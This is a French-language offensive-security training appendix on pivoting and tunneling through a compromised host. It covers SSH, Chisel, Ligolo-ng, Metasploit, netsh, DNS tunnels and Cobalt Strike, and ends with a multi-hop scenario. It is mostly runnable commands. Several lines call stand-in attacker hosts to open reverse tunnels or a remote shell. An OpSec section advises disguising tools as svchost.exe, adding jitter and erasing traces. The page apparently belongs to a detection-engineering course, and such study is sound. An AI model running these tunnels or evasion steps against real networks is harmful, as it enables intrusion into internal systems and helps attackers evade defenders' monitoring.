Skip to content

Pivoting & Tunneling Avancé

Cette annexe couvre les techniques avancées de pivot et tunneling pour accéder aux réseaux internes depuis une machine compromise.

Durée estimée : 30 minutes

Prérequis

Avant le pivoting, vous devez avoir :

  • Un premier accès (shell/beacon) sur une machine du réseau
  • Compris la topologie réseau (segments, VLANs)
  • Identifié les cibles internes non accessibles directement

Vue d'Ensemble - Pivoting Strategies

flowchart LR
    subgraph external["Attacker"]
        A[Kali]
    end

    subgraph dmz["DMZ"]
        B[Web Server<br/>Compromis]
    end

    subgraph internal["Réseau Interne"]
        C[DC01]
        D[SRV-DB]
        E[WS01]
    end

    A -->|"Direct Access"| B
    B -.->|"Pivot Tunnel"| C
    B -.->|"Pivot Tunnel"| D
    B -.->|"Pivot Tunnel"| E

    style B fill:#e74c3c,color:#fff
    style C fill:#9b59b6,color:#fff
    style D fill:#9b59b6,color:#fff

1. SSH Tunneling

1.1 Local Port Forwarding

Accéder à un service interne via la machine compromise.

# Syntaxe
ssh -L [local_port]:[target_host]:[target_port] user@pivot_host

# Exemple: Accéder au RDP du DC (10.0.0.10:3389) via le pivot
ssh -L 3389:10.0.0.10:3389 user@pivot.example.com

# Connexion RDP locale (redirigé vers le DC)
rdesktop localhost:3389
sequenceDiagram
    participant A as Attacker
    participant P as Pivot Host
    participant T as Target (DC)

    A->>P: SSH Connection
    A->>A: Open localhost:3389
    A->>P: Forward to 10.0.0.10:3389
    P->>T: Connect RDP
    T-->>P: RDP Response
    P-->>A: Forward Response

1.2 Remote Port Forwarding

Exposer un port local de l'attaquant vers le réseau interne.

# Syntaxe
ssh -R [remote_port]:[local_host]:[local_port] user@pivot_host

# Exemple: Exposer mon listener (4444) sur le pivot
ssh -R 4444:localhost:4444 user@pivot.example.com

# Les machines internes peuvent maintenant se connecter à pivot:4444

1.3 Dynamic Port Forwarding (SOCKS Proxy)

Créer un proxy SOCKS pour router tout le trafic.

# Créer le proxy SOCKS5
ssh -D 9050 user@pivot.example.com

# Configurer proxychains
echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf

# Utiliser n'importe quel outil via le proxy
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains crackmapexec smb 10.0.0.10

1.4 SSH ProxyJump (Multi-hop)

# Sauter à travers plusieurs machines
ssh -J user@jump1,user@jump2 user@final_target

# Configuration ~/.ssh/config
Host internal-dc
    HostName 10.0.0.10
    User administrator
    ProxyJump user@dmz-server

# Puis simplement
ssh internal-dc

2. Chisel

Outil HTTP tunneling écrit en Go, très populaire en pentest.

2.1 Installation

# Télécharger les releases
# https://github.com/jpillora/chisel/releases

# Ou compiler
go install github.com/jpillora/chisel@latest

2.2 Reverse SOCKS Proxy

# Sur l'attaquant (server)
./chisel server -p 8080 --reverse

# Sur la cible (client) - Windows
chisel.exe client ATTACKER_IP:8080 R:socks

# Résultat: SOCKS5 proxy sur localhost:1080
proxychains4 nmap -sT 10.0.0.0/24

2.3 Port Forwarding

# Attaquant: server
./chisel server -p 8080 --reverse

# Cible: forward le port 3389 du DC vers l'attaquant
chisel.exe client ATTACKER_IP:8080 R:3389:10.0.0.10:3389

# L'attaquant peut maintenant:
rdesktop localhost:3389

2.4 Multiple Tunnels

# Plusieurs forwards en une connexion
chisel.exe client ATTACKER_IP:8080 R:socks R:3389:DC:3389 R:445:DC:445

# Résultat:
# - SOCKS5 sur :1080
# - RDP DC sur :3389
# - SMB DC sur :445

3. Ligolo-ng

Tunneling avancé avec interface réseau virtuelle.

3.1 Concept

Ligolo-ng crée une interface TUN pour un routage transparent, sans avoir besoin de proxychains.

flowchart LR
    subgraph attacker["Attacker"]
        A[Tools]
        B[ligolo-ng proxy]
        C[tun0: 240.0.0.0/4]
    end

    subgraph pivot["Pivot"]
        D[ligolo-ng agent]
    end

    subgraph internal["Internal"]
        E[10.0.0.0/24]
    end

    A --> C
    C --> B
    B -.->|"TLS Tunnel"| D
    D --> E

    style C fill:#27ae60,color:#fff

3.2 Setup

# Sur l'attaquant - Créer interface TUN
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Lancer le proxy
./proxy -selfcert -laddr 0.0.0.0:11601

# Sur la cible (Windows)
agent.exe -connect ATTACKER_IP:11601 -ignore-cert

3.3 Utilisation

# Dans le proxy ligolo-ng
ligolo-ng » session
? Specify a session: 1 - YOURPIVOT@10.0.0.50

# Ajouter une route vers le réseau interne
ligolo-ng » ifconfig
[+] Agent IP: 10.0.0.50/24

ligolo-ng » start

# Sur l'attaquant (nouveau terminal)
sudo ip route add 10.0.0.0/24 dev ligolo

# Maintenant, accès DIRECT au réseau interne
nmap -sT 10.0.0.10  # Pas besoin de proxychains!
ssh admin@10.0.0.10
crackmapexec smb 10.0.0.0/24

3.4 Double Pivot

# Depuis le premier pivot, lancer un agent vers le second segment
# Agent 1 sur pivot1 -> voit 10.0.0.0/24
# Agent 2 sur pivot2 (10.0.0.50) -> voit 192.168.1.0/24

# Sur l'attaquant
sudo ip route add 10.0.0.0/24 dev ligolo
sudo ip route add 192.168.1.0/24 dev ligolo

4. Metasploit Pivoting

4.1 Autoroute

# Dans une session Meterpreter
meterpreter > run autoroute -s 10.0.0.0/24

# Ou via post module
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.0.0.0
run

# Vérifier les routes
meterpreter > run autoroute -p

4.2 SOCKS Proxy

# Lancer un proxy SOCKS
use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 5
run

# Configurer proxychains
proxychains nmap -sT 10.0.0.10

4.3 Port Forwarding

# Forward local
meterpreter > portfwd add -l 3389 -p 3389 -r 10.0.0.10

# Forward inversé (listener sur le pivot)
meterpreter > portfwd add -R -l 4444 -p 4444 -L 0.0.0.0

5. Windows Native Pivoting

5.1 Netsh Port Forwarding

# Forwarder le port 3389 du DC vers localhost
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=10.0.0.10

# Vérifier
netsh interface portproxy show all

# Supprimer
netsh interface portproxy delete v4tov4 listenport=3389 listenaddress=0.0.0.0

# Firewall rule (si nécessaire)
netsh advfirewall firewall add rule name="pivot" dir=in action=allow protocol=tcp localport=3389

5.2 SSH Windows (OpenSSH)

# Windows 10/11 et Server 2019+ ont OpenSSH intégré
# Dynamic port forwarding
ssh -D 9050 -N user@target

# Local port forwarding
ssh -L 3389:10.0.0.10:3389 -N user@pivot
# Si OpenSSH non disponible
# Reverse SOCKS proxy
plink.exe -R 9050 user@attacker_ip

# Port forward
plink.exe -L 3389:10.0.0.10:3389 user@pivot_host

6. DNS Tunneling

6.1 Avec Dnscat2

# Attaquant: Server
dnscat2-server tunnel.attacker.com

# Cible: Client
dnscat2.exe --dns server=tunnel.attacker.com,type=TXT

# Créer un tunnel
dnscat2 > session -i 1
command (session) > shell

6.2 Avec Iodine

# Attaquant: Server
sudo iodined -f -c -P password 10.0.0.1 tunnel.attacker.com

# Cible: Client
iodine -f -P password tunnel.attacker.com

# Résultat: Interface dns0 avec IP 10.0.0.x
# Tunnel IP over DNS

7. Cobalt Strike Pivoting

7.1 SOCKS Proxy

# Beacon interactif
beacon> socks 9050

# Utiliser depuis l'attaquant
proxychains crackmapexec smb 10.0.0.0/24

7.2 Reverse Port Forward

# Ouvrir un port sur le beacon qui forward vers l'attaquant
beacon> rportfwd 8080 127.0.0.1 80

# Les machines internes peuvent joindre beacon:8080 -> attaquant:80

7.3 Listener Pivoting

# Créer un listener sur le beacon
# Listeners > Add > Beacon TCP / SMB

# Les nouveaux implants dans le réseau interne
# passent par le beacon existant

8. Scénario Complet - Multi-hop Pivot

8.1 Architecture

Internet --> DMZ (10.0.1.0/24) --> Internal (10.0.2.0/24) --> Secure (10.0.3.0/24)
    |
    v
Attacker                        Web Server              DC              DB Server
(192.168.1.100)               (10.0.1.50)           (10.0.2.10)       (10.0.3.20)

8.2 Étape par Étape

# 1. Compromission du Web Server (10.0.1.50)
# Établir le premier pivot avec Chisel

# Attaquant
./chisel server -p 8080 --reverse

# Web Server (10.0.1.50)
./chisel client 192.168.1.100:8080 R:socks

# 2. Scanner le réseau Internal via SOCKS
proxychains nmap -sT -Pn 10.0.2.0/24

# 3. Compromission du DC (10.0.2.10)
# Utiliser Ligolo-ng pour un accès plus fluide

# Attaquant
./proxy -selfcert -laddr 0.0.0.0:11601

# Via le SOCKS proxy, uploader l'agent sur le DC
proxychains smbclient //10.0.2.10/c$ -U admin
put agent.exe

# Exécuter l'agent (via WinRM par exemple)
proxychains evil-winrm -i 10.0.2.10 -u admin -p 'Password123'
*Evil-WinRM* > C:\agent.exe -connect 192.168.1.100:11601 -ignore-cert

# 4. Configurer le routage
sudo ip route add 10.0.2.0/24 dev ligolo
sudo ip route add 10.0.3.0/24 dev ligolo

# 5. Accéder au DB Server (10.0.3.20) directement
nmap -sT 10.0.3.20
mssqlclient.py sa@10.0.3.20

9. OpSec Considerations

9.1 Réduire le Bruit

Technique Bruit Réseau Détection Recommandation
SSH Tunnel Faible SSH anormal Utiliser port 443
Chisel HTTP Faible Possible via proxy Blend avec trafic légitime
DNS Tunnel Très faible Requêtes DNS anormales Lent, backup option
Meterpreter Élevé Signatures connues Éviter en environnement monitoré

9.2 Indicateurs à Éviter

# À NE PAS FAIRE
- Tunnels sur ports suspects (4444, 31337, etc.)
- Trop de connexions simultanées
- Trafic constant sans pause
- Outils non renommés (chisel.exe, ligolo-agent.exe)

# BONNES PRATIQUES
- Utiliser HTTPS/443 quand possible
- Implémenter du jitter dans les communications
- Renommer les binaires (svchost.exe, update.exe)
- Nettoyer les traces après usage

9.3 Nettoyage

# Supprimer les règles netsh
netsh interface portproxy reset

# Supprimer les règles firewall ajoutées
netsh advfirewall firewall delete rule name="pivot"

# Vérifier les processus suspects
Get-Process | Where-Object {$_.Path -like "*temp*" -or $_.Path -like "*public*"}

10. Cheatsheet Rapide

SSH

ssh -D 9050 user@pivot                    # SOCKS proxy
ssh -L 3389:target:3389 user@pivot        # Local forward
ssh -R 4444:localhost:4444 user@pivot     # Remote forward
ssh -J user@jump user@target              # ProxyJump

Chisel

# Server
./chisel server -p 8080 --reverse

# Client
./chisel client ATTACKER:8080 R:socks
./chisel client ATTACKER:8080 R:3389:DC:3389

Ligolo-ng

# Setup
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

# Route après connexion agent
sudo ip route add 10.0.0.0/24 dev ligolo

Metasploit

run autoroute -s 10.0.0.0/24
portfwd add -l 3389 -p 3389 -r 10.0.0.10
use auxiliary/server/socks_proxy

Références


Retour au Programme Detection Engineering →